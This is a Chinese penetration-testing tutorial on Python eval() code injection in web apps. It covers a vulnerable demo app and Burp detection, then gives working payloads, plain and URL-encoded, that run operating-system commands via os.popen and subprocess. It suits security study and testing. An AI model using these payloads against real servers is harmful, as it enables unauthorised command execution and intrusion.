當前位置:成語大全網 - 新華字典 - 如何使用python查找網站漏洞

如何使用python查找網站漏洞

如果妳的Web應用中存在Python代碼註入漏洞的話,攻擊者就可以利用妳的Web應用來向妳後臺服務器的Python解析器發送惡意Python代碼了。這也就意味著,如果妳可以在目標服務器中執行Python代碼的話,妳就可以通過調用服務器的操作系統的指令來實施攻擊了。通過運行操作系統命令,妳不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動壹個遠程的交互式Shell(例如nc、Metasploit和Empire)。

為了復現這個漏洞,我在最近的壹次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找壹些關於這個漏洞具體應用方法的信息,但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現了壹個非交互式的shell,這也是我們這篇文章所要描述的內容。

因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼註入問題,因此Python代碼註入屬於服務器端代碼註入的壹種。實際上,如果各位同學和我壹樣是壹名CWE的關註者,那麽下面這兩個CWE也許可以給妳提供壹些有價值的參考內容:

1. CWE-94:代碼生成控制不當(‘代碼註入’)2. CWE-95:動態代碼評估指令處理不當(‘Eval註入’)漏洞利用

假設妳現在使用Burp或者其他工具發現了壹個Python註入漏洞,而此時的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麽妳就可以使用下面這個Payload來在目標主機中實現操作系統指令註入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,妳甚至都不需要使用for循環,直接使用全局函數“__import__”就可以了。具體代碼如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經將import和popen寫在了壹個表達式裏面了,那麽在大多數情況下,妳甚至都不需要使用compile了。具體代碼如下所示:

__import__('os').popen('COMMAND').read()

為了將這個Payload發送給目標Web應用,妳需要對其中的某些字符進行URL編碼。為了節省大家的時間,我們在這裏已經將上面所列出的Payload代碼編碼完成了,具體如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關於這個漏洞的細節內容,並跟大家分享壹個包含這個漏洞的Web應用。在文章的結尾,我將會給大家演示壹款工具,這款工具是我和我的同事Charlie***同編寫的,它可以明顯降低妳在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap壹樣,可以讓妳快速找到SQL註入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流壹下。

搭建壹個包含漏洞的服務器

為了更好地給各位同學進行演示,我專門創建了壹個包含漏洞的Web應用。如果妳想要自己動手嘗試利用這個漏洞的話,妳可以點擊這裏獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環境,即通過pip或者easy_install來安裝web.py。它可以作為壹臺獨立的服務器運行,或者妳也可以將它加載至包含mod_wsgi模塊的Apache服務器中。相關操作指令如下所示:

git clone /sethsec/PyCodeInjection.gitcd VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

當妳在網上搜索關於python的eval()函數時,幾乎沒有文章會提醒妳這個函數是非常不安全的,而eval()函數就是導致這個Python代碼註入漏洞的罪魁禍首。如果妳遇到了下面這兩種情況,說明妳的Web應用中存在這個漏洞:

1. Web應用接受用戶輸入(例如GET/POST參數,cookie值);2. Web應用使用了壹種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查,或者缺少安全保護機制);下圖所示的是壹份包含漏洞的示例代碼:

\

大家可以看到,eval()函數是上述代碼中唯壹壹個存在問題的地方。除此之外,如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話,那麽Web應用中也將會出現這個漏洞。

不過需要註意的是,除了eval()函數之外,Python的exec()函數也有可能讓妳的Web應用中出現這個漏洞。而且據我所示,現在很多開發人員都會在Web應用中不規範地使用exec()函數,所以這個問題肯定會存在。

自動掃描漏洞

為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發現壹些我此前沒有見過的東西。找到之後,我再想辦法將毫無新意的PoC開發成壹個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。

這個漏洞也不例外,如果妳在某個Web應用中發現了這個漏洞,那麽妳肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業掃描工具,妳幾乎是無法發現這個漏洞的。

當妳搭建好測試環境之後,啟動並運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示:

\

下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:

\

我們可以看到,Burp之所以要將這個Web應用標記為“Vulnerable”(包含漏洞的),是因為當它將這個Payload發送給目標Web應用之後,服務器的Python解析器休眠了20秒,響應信息在20秒之後才成功返回。但我要提醒大家的是,這種基於時間的漏洞檢查機制通常會存在壹定的誤報。

將PoC升級成漏洞利用代碼

使用time.sleep()來驗證漏洞的存在的確是壹種很好的方法。接下來,為了執行操作系統指令並接收相應的輸出數據,我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了,應該還有很多其他的函數同樣可以實現我們的目標。

因為eval()函數只能對表達式進行處理,因此Burp Suite Pro的Payload在這裏使用了compile()函數,這是壹種非常聰明的做法。當然了,我們也可以使用其他的方法來實現,例如使用全局函數“__import__”。關於這部分內容請查閱

參考資料:

[參考資料1][參考資料2]

下面這個Payload應該可以適用於絕大多數的場景:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果妳需要執行壹個或多個語句,那麽妳就需要使用eval()或者compile()函數了。實現代碼如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數“__import__”會不起作用。在這種情況下,我們就要使用for循環了。相關代碼如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是壹個GET參數,那麽妳就可以直接在瀏覽器中利用這個漏洞了:

\

請註意:雖然瀏覽器會幫妳完成絕大部分的URL編碼工作,但是妳仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,妳也可以直接使用我們所開發的工具。

如果是POST參數的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數中壹次性調用了多個系統命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

妳可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在妳使用這款工具的過程中會感覺到,它跟sqlmap壹樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。